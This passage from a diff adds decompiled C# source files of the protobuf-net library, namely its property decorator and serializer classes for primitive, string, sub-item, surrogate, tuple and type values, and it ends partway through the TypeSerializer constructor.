public PropertyDecorator(TypeModel model, Type forType, PropertyInfo property, IProtoSerializer tail)
: base(tail)
{
this.forType = forType;
this.property = property;
SanityCheck(model, property, tail, out readOptionsWriteValue, nonPublic: true, allowInternal: true);
shadowSetter = GetShadowSetter(model, property);
}
private static void SanityCheck(TypeModel model, PropertyInfo property, IProtoSerializer tail, out bool writeValue, bool nonPublic, bool allowInternal)
{
if ((object)property == null)
{
throw new ArgumentNullException("property");
}
writeValue = tail.ReturnsValue && ((object)GetShadowSetter(model, property) != null || (property.CanWrite && (object)Helpers.GetSetMethod(property, nonPublic, allowInternal) != null));
if (!property.CanRead || (object)Helpers.GetGetMethod(property, nonPublic, allowInternal) == null)
{
throw new InvalidOperationException("Cannot serialize property without a get accessor");
}
if (!writeValue && (!tail.RequiresOldValue || Helpers.IsValueType(tail.ExpectedType)))
{
throw new InvalidOperationException("Cannot apply changes to property " + property.DeclaringType.FullName + "." + property.Name);
}
}
private static MethodInfo GetShadowSetter(TypeModel model, PropertyInfo property)
{
Type reflectedType = property.ReflectedType;
MethodInfo instanceMethod = Helpers.GetInstanceMethod(reflectedType, "Set" + property.Name, new Type[1] { property.PropertyType });
if ((object)instanceMethod == null || !instanceMethod.IsPublic || (object)instanceMethod.ReturnType != model.MapType(typeof(void)))
{
return null;
}
return instanceMethod;
}
public override void Write(object value, ProtoWriter dest)
{
value = property.GetValue(value, null);
if (value != null)
{
Tail.Write(value, dest);
}
}
public override object Read(object value, ProtoReader source)
{
object value2 = (Tail.RequiresOldValue ? property.GetValue(value, null) : null);
object obj = Tail.Read(value2, source);
if (readOptionsWriteValue && obj != null)
{
if ((object)shadowSetter == null)
{
property.SetValue(value, obj, null);
}
else
{
shadowSetter.Invoke(value, new object[1] { obj });
}
}
return null;
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.LoadAddress(valueFrom, ExpectedType);
ctx.LoadValue(property);
ctx.WriteNullCheckedTail(property.PropertyType, Tail, null);
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
SanityCheck(ctx.Model, property, Tail, out var writeValue, ctx.NonPublic, ctx.AllowInternal(property));
if (Helpers.IsValueType(ExpectedType) && valueFrom == null)
{
throw new InvalidOperationException("Attempt to mutate struct on the head of the stack; changes would be lost");
}
using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom);
if (Tail.RequiresOldValue)
{
ctx.LoadAddress(local, ExpectedType);
ctx.LoadValue(property);
}
Type propertyType = property.PropertyType;
ctx.ReadNullCheckedTail(propertyType, Tail, null);
if (writeValue)
{
using (Local local2 = new Local(ctx, property.PropertyType))
{
ctx.StoreValue(local2);
CodeLabel label = default(CodeLabel);
if (!Helpers.IsValueType(propertyType))
{
label = ctx.DefineLabel();
ctx.LoadValue(local2);
ctx.BranchIfFalse(label, @short: true);
}
ctx.LoadAddress(local, ExpectedType);
ctx.LoadValue(local2);
if ((object)shadowSetter == null)
{
ctx.StoreValue(property);
}
else
{
ctx.EmitCall(shadowSetter);
}
if (!Helpers.IsValueType(propertyType))
{
ctx.MarkLabel(label);
}
return;
}
}
if (Tail.ReturnsValue)
{
ctx.DiscardValue();
}
}
internal static bool CanWrite(TypeModel model, MemberInfo member)
{
if ((object)member == null)
{
throw new ArgumentNullException("member");
}
if (member is PropertyInfo propertyInfo)
{
if (!propertyInfo.CanWrite)
{
return (object)GetShadowSetter(model, propertyInfo) != null;
}
return true;
}
return member is FieldInfo;
}
}
@@ -0,0 +1,38 @@
using System;
using ProtoBuf.Compiler;
namespace ProtoBuf.Serializers;
internal abstract class ProtoDecoratorBase : IProtoSerializer
{
protected readonly IProtoSerializer Tail;
public abstract Type ExpectedType { get; }
public abstract bool ReturnsValue { get; }
public abstract bool RequiresOldValue { get; }
protected ProtoDecoratorBase(IProtoSerializer tail)
{
Tail = tail;
}
public abstract void Write(object value, ProtoWriter dest);
public abstract object Read(object value, ProtoReader source);
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
EmitWrite(ctx, valueFrom);
}
protected abstract void EmitWrite(CompilerContext ctx, Local valueFrom);
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
EmitRead(ctx, valueFrom);
}
protected abstract void EmitRead(CompilerContext ctx, Local valueFrom);
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class SByteSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(sbyte);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public SByteSerializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadSByte();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteSByte((sbyte)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteSByte", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadSByte", ExpectedType);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class SingleSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(float);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public SingleSerializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadSingle();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteSingle((float)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteSingle", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadSingle", ExpectedType);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class StringSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(string);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public StringSerializer(TypeModel model)
{
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteString((string)value, dest);
}
public object Read(object value, ProtoReader source)
{
return source.ReadString();
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteString", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadString", ExpectedType);
}
}
@@ -0,0 +1,160 @@
using System;
using System.Reflection.Emit;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class SubItemSerializer : IProtoTypeSerializer, IProtoSerializer
{
private readonly int key;
private readonly Type type;
private readonly ISerializerProxy proxy;
private readonly bool recursionCheck;
Type IProtoSerializer.ExpectedType => type;
bool IProtoSerializer.RequiresOldValue => true;
bool IProtoSerializer.ReturnsValue => true;
bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType)
{
return ((IProtoTypeSerializer)proxy.Serializer).HasCallbacks(callbackType);
}
bool IProtoTypeSerializer.CanCreateInstance()
{
return ((IProtoTypeSerializer)proxy.Serializer).CanCreateInstance();
}
void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType)
{
((IProtoTypeSerializer)proxy.Serializer).EmitCallback(ctx, valueFrom, callbackType);
}
void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx)
{
((IProtoTypeSerializer)proxy.Serializer).EmitCreateInstance(ctx);
}
void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
{
((IProtoTypeSerializer)proxy.Serializer).Callback(value, callbackType, context);
}
object IProtoTypeSerializer.CreateInstance(ProtoReader source)
{
return ((IProtoTypeSerializer)proxy.Serializer).CreateInstance(source);
}
public SubItemSerializer(Type type, int key, ISerializerProxy proxy, bool recursionCheck)
{
this.type = type ?? throw new ArgumentNullException("type");
this.proxy = proxy ?? throw new ArgumentNullException("proxy");
this.key = key;
this.recursionCheck = recursionCheck;
}
void IProtoSerializer.Write(object value, ProtoWriter dest)
{
if (recursionCheck)
{
ProtoWriter.WriteObject(value, key, dest);
}
else
{
ProtoWriter.WriteRecursionSafeObject(value, key, dest);
}
}
object IProtoSerializer.Read(object value, ProtoReader source)
{
return ProtoReader.ReadObject(value, key, source);
}
private bool EmitDedicatedMethod(CompilerContext ctx, Local valueFrom, bool read)
{
MethodBuilder dedicatedMethod = ctx.GetDedicatedMethod(key, read);
if ((object)dedicatedMethod == null)
{
return false;
}
using (Local local = new Local(ctx, ctx.MapType(typeof(SubItemToken))))
{
Type type = ctx.MapType(read ? typeof(ProtoReader) : typeof(ProtoWriter));
ctx.LoadValue(valueFrom);
if (!read)
{
if (Helpers.IsValueType(this.type) || !recursionCheck)
{
ctx.LoadNullRef();
}
else
{
ctx.CopyValue();
}
}
ctx.LoadReaderWriter();
ctx.EmitCall(Helpers.GetStaticMethod(type, "StartSubItem", (!read) ? new Type[2]
{
ctx.MapType(typeof(object)),
type
} : new Type[1] { type }));
ctx.StoreValue(local);
ctx.LoadReaderWriter();
ctx.EmitCall(dedicatedMethod);
if (read && (object)this.type != dedicatedMethod.ReturnType)
{
ctx.Cast(this.type);
}
ctx.LoadValue(local);
ctx.LoadReaderWriter();
ctx.EmitCall(Helpers.GetStaticMethod(type, "EndSubItem", new Type[2]
{
ctx.MapType(typeof(SubItemToken)),
type
}));
}
return true;
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
if (!EmitDedicatedMethod(ctx, valueFrom, read: false))
{
ctx.LoadValue(valueFrom);
if (Helpers.IsValueType(type))
{
ctx.CastToObject(type);
}
ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key));
ctx.LoadReaderWriter();
ctx.EmitCall(Helpers.GetStaticMethod(ctx.MapType(typeof(ProtoWriter)), recursionCheck ? "WriteObject" : "WriteRecursionSafeObject", new Type[3]
{
ctx.MapType(typeof(object)),
ctx.MapType(typeof(int)),
ctx.MapType(typeof(ProtoWriter))
}));
}
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
if (!EmitDedicatedMethod(ctx, valueFrom, read: true))
{
ctx.LoadValue(valueFrom);
if (Helpers.IsValueType(type))
{
ctx.CastToObject(type);
}
ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key));
ctx.LoadReaderWriter();
ctx.EmitCall(Helpers.GetStaticMethod(ctx.MapType(typeof(ProtoReader)), "ReadObject"));
ctx.CastFromObject(type);
}
}
}
@@ -0,0 +1,150 @@
using System;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class SurrogateSerializer : IProtoTypeSerializer, IProtoSerializer
{
private readonly Type forType;
private readonly Type declaredType;
private readonly MethodInfo toTail;
private readonly MethodInfo fromTail;
private IProtoTypeSerializer rootTail;
public bool ReturnsValue => false;
public bool RequiresOldValue => true;
public Type ExpectedType => forType;
bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType)
{
return false;
}
void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType)
{
}
void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx)
{
throw new NotSupportedException();
}
bool IProtoTypeSerializer.CanCreateInstance()
{
return false;
}
object IProtoTypeSerializer.CreateInstance(ProtoReader source)
{
throw new NotSupportedException();
}
void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
{
}
public SurrogateSerializer(TypeModel model, Type forType, Type declaredType, IProtoTypeSerializer rootTail)
{
this.forType = forType;
this.declaredType = declaredType;
this.rootTail = rootTail;
toTail = GetConversion(model, toTail: true);
fromTail = GetConversion(model, toTail: false);
}
private static bool HasCast(TypeModel model, Type type, Type from, Type to, out MethodInfo op)
{
MethodInfo[] methods = type.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
Type type2 = null;
foreach (MethodInfo methodInfo in methods)
{
if ((object)methodInfo.ReturnType != to)
{
continue;
}
ParameterInfo[] parameters = methodInfo.GetParameters();
if (parameters.Length != 1 || (object)parameters[0].ParameterType != from)
{
continue;
}
if ((object)type2 == null)
{
type2 = model.MapType(typeof(ProtoConverterAttribute), demand: false);
if ((object)type2 == null)
{
break;
}
}
if (methodInfo.IsDefined(type2, inherit: true))
{
op = methodInfo;
return true;
}
}
foreach (MethodInfo methodInfo2 in methods)
{
if ((!(methodInfo2.Name != "op_Implicit") || !(methodInfo2.Name != "op_Explicit")) && (object)methodInfo2.ReturnType == to)
{
ParameterInfo[] parameters = methodInfo2.GetParameters();
if (parameters.Length == 1 && (object)parameters[0].ParameterType == from)
{
op = methodInfo2;
return true;
}
}
}
op = null;
return false;
}
public MethodInfo GetConversion(TypeModel model, bool toTail)
{
Type to = (toTail ? declaredType : forType);
Type type = (toTail ? forType : declaredType);
if (HasCast(model, declaredType, type, to, out var op) || HasCast(model, forType, type, to, out op))
{
return op;
}
throw new InvalidOperationException("No suitable conversion operator found for surrogate: " + forType.FullName + " / " + declaredType.FullName);
}
public void Write(object value, ProtoWriter writer)
{
rootTail.Write(toTail.Invoke(null, new object[1] { value }), writer);
}
public object Read(object value, ProtoReader source)
{
object[] array = new object[1] { value };
value = toTail.Invoke(null, array);
array[0] = rootTail.Read(value, source);
return fromTail.Invoke(null, array);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
using Local local = new Local(ctx, declaredType);
ctx.LoadValue(valueFrom);
ctx.EmitCall(toTail);
ctx.StoreValue(local);
rootTail.EmitRead(ctx, local);
ctx.LoadValue(local);
ctx.EmitCall(fromTail);
ctx.StoreValue(valueFrom);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.LoadValue(valueFrom);
ctx.EmitCall(toTail);
rootTail.EmitWrite(ctx, null);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class SystemTypeSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(Type);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public SystemTypeSerializer(TypeModel model)
{
}
void IProtoSerializer.Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteType((Type)value, dest);
}
object IProtoSerializer.Read(object value, ProtoReader source)
{
return source.ReadType();
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteType", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadType", ExpectedType);
}
}
@@ -0,0 +1,110 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class TagDecorator : ProtoDecoratorBase, IProtoTypeSerializer, IProtoSerializer
{
private readonly bool strict;
private readonly int fieldNumber;
private readonly WireType wireType;
public override Type ExpectedType => Tail.ExpectedType;
public override bool RequiresOldValue => Tail.RequiresOldValue;
public override bool ReturnsValue => Tail.ReturnsValue;
private bool NeedsHint => (wireType & (WireType)(-8)) != 0;
public bool HasCallbacks(TypeModel.CallbackType callbackType)
{
if (Tail is IProtoTypeSerializer protoTypeSerializer)
{
return protoTypeSerializer.HasCallbacks(callbackType);
}
return false;
}
public bool CanCreateInstance()
{
if (Tail is IProtoTypeSerializer protoTypeSerializer)
{
return protoTypeSerializer.CanCreateInstance();
}
return false;
}
public object CreateInstance(ProtoReader source)
{
return ((IProtoTypeSerializer)Tail).CreateInstance(source);
}
public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
{
if (Tail is IProtoTypeSerializer protoTypeSerializer)
{
protoTypeSerializer.Callback(value, callbackType, context);
}
}
public void EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType)
{
((IProtoTypeSerializer)Tail).EmitCallback(ctx, valueFrom, callbackType);
}
public void EmitCreateInstance(CompilerContext ctx)
{
((IProtoTypeSerializer)Tail).EmitCreateInstance(ctx);
}
public TagDecorator(int fieldNumber, WireType wireType, bool strict, IProtoSerializer tail)
: base(tail)
{
this.fieldNumber = fieldNumber;
this.wireType = wireType;
this.strict = strict;
}
public override object Read(object value, ProtoReader source)
{
if (strict)
{
source.Assert(wireType);
}
else if (NeedsHint)
{
source.Hint(wireType);
}
return Tail.Read(value, source);
}
public override void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteFieldHeader(fieldNumber, wireType, dest);
Tail.Write(value, dest);
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.LoadValue(fieldNumber);
ctx.LoadValue((int)wireType);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader"));
Tail.EmitWrite(ctx, valueFrom);
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
if (strict || NeedsHint)
{
ctx.LoadReaderWriter();
ctx.LoadValue((int)wireType);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod(strict ? "Assert" : "Hint"));
}
Tail.EmitRead(ctx, valueFrom);
}
}
@@ -0,0 +1,58 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class TimeSpanSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(TimeSpan);
private readonly bool wellKnown;
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public TimeSpanSerializer(DataFormat dataFormat, TypeModel model)
{
wellKnown = dataFormat == DataFormat.WellKnown;
}
public object Read(object value, ProtoReader source)
{
if (wellKnown)
{
return BclHelpers.ReadDuration(source);
}
return BclHelpers.ReadTimeSpan(source);
}
public void Write(object value, ProtoWriter dest)
{
if (wellKnown)
{
BclHelpers.WriteDuration((TimeSpan)value, dest);
}
else
{
BclHelpers.WriteTimeSpan((TimeSpan)value, dest);
}
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), wellKnown ? "WriteDuration" : "WriteTimeSpan", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
if (wellKnown)
{
ctx.LoadValue(valueFrom);
}
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), wellKnown ? "ReadDuration" : "ReadTimeSpan", ExpectedType);
}
}
@@ -0,0 +1,338 @@
using System;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class TupleSerializer : IProtoTypeSerializer, IProtoSerializer
{
private readonly MemberInfo[] members;
private readonly ConstructorInfo ctor;
private IProtoSerializer[] tails;
public Type ExpectedType => ctor.DeclaringType;
public bool RequiresOldValue => true;
public bool ReturnsValue => false;
public TupleSerializer(RuntimeTypeModel model, ConstructorInfo ctor, MemberInfo[] members)
{
this.ctor = ctor ?? throw new ArgumentNullException("ctor");
this.members = members ?? throw new ArgumentNullException("members");
tails = new IProtoSerializer[members.Length];
ParameterInfo[] parameters = ctor.GetParameters();
for (int i = 0; i < members.Length; i++)
{
Type parameterType = parameters[i].ParameterType;
Type itemType = null;
Type defaultType = null;
MetaType.ResolveListTypes(model, parameterType, ref itemType, ref defaultType);
Type type = (((object)itemType == null) ? parameterType : itemType);
bool asReference = false;
int num = model.FindOrAddAuto(type, demand: false, addWithContractOnly: true, addEvenIfAutoDisabled: false);
if (num >= 0)
{
asReference = model[type].AsReferenceDefault;
}
IProtoSerializer protoSerializer = ValueMember.TryGetCoreSerializer(model, DataFormat.Default, type, out var defaultWireType, asReference, dynamicType: false, overwriteList: false, allowComplexTypes: true);
if (protoSerializer == null)
{
throw new InvalidOperationException("No serializer defined for type: " + type.FullName);
}
protoSerializer = new TagDecorator(i + 1, defaultWireType, strict: false, protoSerializer);
IProtoSerializer protoSerializer2 = (((object)itemType != null) ? ((!parameterType.IsArray) ? ((ProtoDecoratorBase)ListDecorator.Create(model, parameterType, defaultType, protoSerializer, i + 1, writePacked: false, defaultWireType, returnList: true, overwriteList: false, supportNull: false)) : ((ProtoDecoratorBase)new ArrayDecorator(model, protoSerializer, i + 1, writePacked: false, defaultWireType, parameterType, overwriteList: false, supportNull: false))) : protoSerializer);
tails[i] = protoSerializer2;
}
}
public bool HasCallbacks(TypeModel.CallbackType callbackType)
{
return false;
}
public void EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType)
{
}
void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
{
}
object IProtoTypeSerializer.CreateInstance(ProtoReader source)
{
throw new NotSupportedException();
}
private object GetValue(object obj, int index)
{
if (members[index] is PropertyInfo propertyInfo)
{
if (obj == null)
{
if (!Helpers.IsValueType(propertyInfo.PropertyType))
{
return null;
}
return Activator.CreateInstance(propertyInfo.PropertyType);
}
return propertyInfo.GetValue(obj, null);
}
if (members[index] is FieldInfo fieldInfo)
{
if (obj == null)
{
if (!Helpers.IsValueType(fieldInfo.FieldType))
{
return null;
}
return Activator.CreateInstance(fieldInfo.FieldType);
}
return fieldInfo.GetValue(obj);
}
throw new InvalidOperationException();
}
public object Read(object value, ProtoReader source)
{
object[] array = new object[members.Length];
bool flag = false;
if (value == null)
{
flag = true;
}
for (int i = 0; i < array.Length; i++)
{
array[i] = GetValue(value, i);
}
int num;
while ((num = source.ReadFieldHeader()) > 0)
{
flag = true;
if (num <= tails.Length)
{
IProtoSerializer protoSerializer = tails[num - 1];
array[num - 1] = tails[num - 1].Read(protoSerializer.RequiresOldValue ? array[num - 1] : null, source);
}
else
{
source.SkipField();
}
}
if (!flag)
{
return value;
}
return ctor.Invoke(array);
}
public void Write(object value, ProtoWriter dest)
{
for (int i = 0; i < tails.Length; i++)
{
object value2 = GetValue(value, i);
if (value2 != null)
{
tails[i].Write(value2, dest);
}
}
}
private Type GetMemberType(int index)
{
Type memberType = Helpers.GetMemberType(members[index]);
if ((object)memberType == null)
{
throw new InvalidOperationException();
}
return memberType;
}
bool IProtoTypeSerializer.CanCreateInstance()
{
return false;
}
public void EmitWrite(CompilerContext ctx, Local valueFrom)
{
using Local local = ctx.GetLocalWithValue(ctor.DeclaringType, valueFrom);
for (int i = 0; i < tails.Length; i++)
{
Type memberType = GetMemberType(i);
ctx.LoadAddress(local, ExpectedType);
if (members[i] is FieldInfo)
{
ctx.LoadValue((FieldInfo)members[i]);
}
else if (members[i] is PropertyInfo)
{
ctx.LoadValue((PropertyInfo)members[i]);
}
ctx.WriteNullCheckedTail(memberType, tails[i], null);
}
}
void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx)
{
throw new NotSupportedException();
}
public void EmitRead(CompilerContext ctx, Local incoming)
{
using Local local = ctx.GetLocalWithValue(ExpectedType, incoming);
Local[] array = new Local[members.Length];
try
{
for (int i = 0; i < array.Length; i++)
{
Type memberType = GetMemberType(i);
bool flag = true;
array[i] = new Local(ctx, memberType);
if (Helpers.IsValueType(ExpectedType))
{
continue;
}
if (Helpers.IsValueType(memberType))
{
switch (Helpers.GetTypeCode(memberType))
{
case ProtoTypeCode.Boolean:
case ProtoTypeCode.SByte:
case ProtoTypeCode.Byte:
case ProtoTypeCode.Int16:
case ProtoTypeCode.UInt16:
case ProtoTypeCode.Int32:
case ProtoTypeCode.UInt32:
ctx.LoadValue(0);
break;
case ProtoTypeCode.Int64:
case ProtoTypeCode.UInt64:
ctx.LoadValue(0L);
break;
case ProtoTypeCode.Single:
ctx.LoadValue(0f);
break;
case ProtoTypeCode.Double:
ctx.LoadValue(0.0);
break;
case ProtoTypeCode.Decimal:
ctx.LoadValue(0m);
break;
case ProtoTypeCode.Guid:
ctx.LoadValue(Guid.Empty);
break;
default:
ctx.LoadAddress(array[i], memberType);
ctx.EmitCtor(memberType);
flag = false;
break;
}
}
else
{
ctx.LoadNullRef();
}
if (flag)
{
ctx.StoreValue(array[i]);
}
}
CodeLabel label = (Helpers.IsValueType(ExpectedType) ? default(CodeLabel) : ctx.DefineLabel());
if (!Helpers.IsValueType(ExpectedType))
{
ctx.LoadAddress(local, ExpectedType);
ctx.BranchIfFalse(label, @short: false);
}
for (int j = 0; j < members.Length; j++)
{
ctx.LoadAddress(local, ExpectedType);
if (members[j] is FieldInfo)
{
ctx.LoadValue((FieldInfo)members[j]);
}
else if (members[j] is PropertyInfo)
{
ctx.LoadValue((PropertyInfo)members[j]);
}
ctx.StoreValue(array[j]);
}
if (!Helpers.IsValueType(ExpectedType))
{
ctx.MarkLabel(label);
}
using (Local local2 = new Local(ctx, ctx.MapType(typeof(int))))
{
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
CodeLabel label4 = ctx.DefineLabel();
ctx.Branch(label2, @short: false);
CodeLabel[] array2 = new CodeLabel[members.Length];
for (int k = 0; k < members.Length; k++)
{
array2[k] = ctx.DefineLabel();
}
ctx.MarkLabel(label3);
ctx.LoadValue(local2);
ctx.LoadValue(1);
ctx.Subtract();
ctx.Switch(array2);
ctx.Branch(label4, @short: false);
for (int l = 0; l < array2.Length; l++)
{
ctx.MarkLabel(array2[l]);
IProtoSerializer protoSerializer = tails[l];
Local valueFrom = (protoSerializer.RequiresOldValue ? array[l] : null);
ctx.ReadNullCheckedTail(array[l].Type, protoSerializer, valueFrom);
if (protoSerializer.ReturnsValue)
{
if (Helpers.IsValueType(array[l].Type))
{
ctx.StoreValue(array[l]);
}
else
{
CodeLabel label5 = ctx.DefineLabel();
CodeLabel label6 = ctx.DefineLabel();
ctx.CopyValue();
ctx.BranchIfTrue(label5, @short: true);
ctx.DiscardValue();
ctx.Branch(label6, @short: true);
ctx.MarkLabel(label5);
ctx.StoreValue(array[l]);
ctx.MarkLabel(label6);
}
}
ctx.Branch(label2, @short: false);
}
ctx.MarkLabel(label4);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField"));
ctx.MarkLabel(label2);
ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int)));
ctx.CopyValue();
ctx.StoreValue(local2);
ctx.LoadValue(0);
ctx.BranchIfGreater(label3, @short: false);
}
for (int m = 0; m < array.Length; m++)
{
ctx.LoadValue(array[m]);
}
ctx.EmitCtor(ctor);
ctx.StoreValue(local);
}
finally
{
for (int n = 0; n < array.Length; n++)
{
if (array[n] != null)
{
array[n].Dispose();
}
}
}
}
}
@@ -0,0 +1,747 @@
using System;
using System.Reflection;
using System.Runtime.Serialization;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class TypeSerializer : IProtoTypeSerializer, IProtoSerializer
{
private readonly Type forType;
private readonly Type constructType;
private readonly IProtoSerializer[] serializers;
private readonly int[] fieldNumbers;
private readonly bool isRootType;
private readonly bool useConstructor;
private readonly bool isExtensible;
private readonly bool hasConstructor;
private readonly CallbackSet callbacks;
private readonly MethodInfo[] baseCtorCallbacks;
private readonly MethodInfo factory;
private static readonly Type iextensible = typeof(IExtensible);
public Type ExpectedType => forType;
private bool CanHaveInheritance
{
get
{
if (forType.IsClass || forType.IsInterface)
{
return !forType.IsSealed;
}
return false;
}
}
bool IProtoSerializer.RequiresOldValue => true;
bool IProtoSerializer.ReturnsValue => false;
public bool HasCallbacks(TypeModel.CallbackType callbackType)
{
if (callbacks != null && (object)callbacks[callbackType] != null)
{
return true;
}
for (int i = 0; i < serializers.Length; i++)
{
if ((object)serializers[i].ExpectedType != forType && ((IProtoTypeSerializer)serializers[i]).HasCallbacks(callbackType))
{
return true;
}
}
return false;
}
public TypeSerializer(TypeModel model, Type forType, int[] fieldNumbers, IProtoSerializer[] serializers, MethodInfo[] baseCtorCallbacks, bool isRootType, bool useConstructor, CallbackSet callbacks, Type constructType, MethodInfo factory)
{
Helpers.Sort(fieldNumbers, serializers);
bool flag = false;
for (int i = 0; i < fieldNumbers.Length; i++)
{
if (i != 0 && fieldNumbers[i] == fieldNumbers[i - 1])
{
throw new InvalidOperationException("Duplicate field-number detected; " + fieldNumbers[i] + " on: " + forType.FullName);
}
if (!flag && (object)serializers[i].ExpectedType != forType)
{
flag = true;
}
}
this.forType = forType;
this.factory = factory;
if ((object)constructType == null)
{
constructType = forType;
}
else if (!forType.IsAssignableFrom(constructType))
{
throw new InvalidOperationException(forType.FullName + " cannot be assigned from " + constructType.FullName);
}
this.constructType = constructType;
this.serializers = serializers;
this.fieldNumbers = fieldNumbers;
this.callbacks = callbacks;
this.isRootType = isRootType;
this.useConstructor = useConstructor;
if (baseCtorCallbacks != null && baseCtorCallbacks.Length == 0)
{
baseCtorCallbacks = null;
}
this.baseCtorCallbacks = baseCtorCallbacks;
if ((object)Helpers.GetUnderlyingType(forType) != null)
{
throw new ArgumentException("Cannot create a TypeSerializer for nullable types", "forType");
}
if (model.MapType(iextensible).IsAssignableFrom(forType))
{
if (forType.IsValueType || !isRootType || flag)
{
throw new NotSupportedException("IExtensible is not supported in structs or classes with inheritance");
}
isExtensible = true;
}
hasConstructor = !constructType.IsAbstract && (object)Helpers.GetConstructor(constructType, Helpers.EmptyTypes, nonPublic: true) != null;
if ((object)constructType != forType && useConstructor && !hasConstructor)
{
